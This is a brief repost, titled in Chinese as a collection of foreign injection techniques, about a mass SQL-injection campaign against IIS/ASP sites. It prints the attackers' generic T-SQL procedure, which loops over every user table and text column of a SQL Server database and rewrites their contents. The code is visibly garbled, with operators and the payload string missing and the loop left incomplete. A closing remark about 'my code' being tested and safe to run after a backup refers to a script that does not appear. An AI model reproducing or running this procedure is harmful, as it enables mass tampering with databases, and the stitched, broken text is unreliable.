外国的注入技巧收集

The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
That said, the attackers are targeting IIS web servers which run ASP for a reason.
Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
'''''
);

Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies.